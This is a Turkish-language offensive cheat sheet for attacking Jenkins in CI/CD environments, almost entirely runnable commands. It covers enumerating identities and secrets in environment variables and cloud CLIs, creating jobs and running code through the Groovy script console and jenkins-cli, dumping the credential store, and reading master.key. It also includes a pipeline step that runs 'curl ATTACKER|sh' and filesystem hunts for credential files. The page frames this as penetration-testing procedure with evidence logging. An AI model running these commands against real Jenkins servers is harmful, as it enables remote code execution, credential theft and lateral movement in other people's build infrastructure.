Skip to content

Jenkins Arbitrary File Read to RCE via \"Remember Me\"

CI/CD enum

Jenkins Arbitrary File Read to RCE via "Remember Me" — CI/CD ve DevOps ortamında kaynak envanteri ve izin yüzeyi keşfi notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.

  1. Çağıran kimliği ve etkili izinleri netleştir.

  2. Servise özel kaynak envanteri çıkar (liste + describe).

  3. Secret, trust policy ve yazma yüzeyi adaylarını işaretle.

  4. Bir sonraki privesc / veri / RCE hipotezini kilitle.

Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.

Terminal window
gh auth status 2>/dev/null
Terminal window
env | rg -i 'token|secret|key|password' | head
Terminal window
aws sts get-caller-identity 2>/dev/null
Terminal window
az account show 2>/dev/null
Terminal window
gcloud auth list 2>/dev/null

Jenkins Arbitrary File Read to RCE via \"Remember Me\" için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.

Terminal window
curl -sk -u user:token -X POST https://JENKINS/createItem?name=pwn --data-binary @config.xml -H 'Content-Type: application/xml'
Terminal window
curl -sk https://JENKINS/credentials/store/system/domain/_/api/json?depth=2
Terminal window
java -jar jenkins-cli.jar -s https://JENKINS -auth user:token groovy = <<< 'println "id".execute().text'
pipeline { agent any; stages { stage('x'){ steps { sh 'curl ATTACKER|sh' } } } }
Terminal window
find /var/jenkins_home -name 'credentials.xml' -o -name 'master.key' -o -name 'hudson.util.Secret' 2>/dev/null
Terminal window
curl -sk https://JENKINS/whoAmI/api/json
Terminal window
curl -sk https://JENKINS/scriptText -d 'script=println "id".execute().text'
Terminal window
curl -sk https://JENKINS/scriptText -d 'script=println"cat /var/jenkins_home/secrets/master.key".execute().text'
Terminal window
curl -sk -u user:token https://JENKINS/job/JOB/build

Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.

Terminal window
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'
Terminal window
printenv | sort
Terminal window
find / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40

Rapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.

request/response veya CLI çıktısı
hesap / proje / cluster
etki: okuma | yazma | RCE | lateral
zaman damgası + dosya hash
Terminal window
mkdir -p evidence/cloud && tee evidence/cloud/notes.txt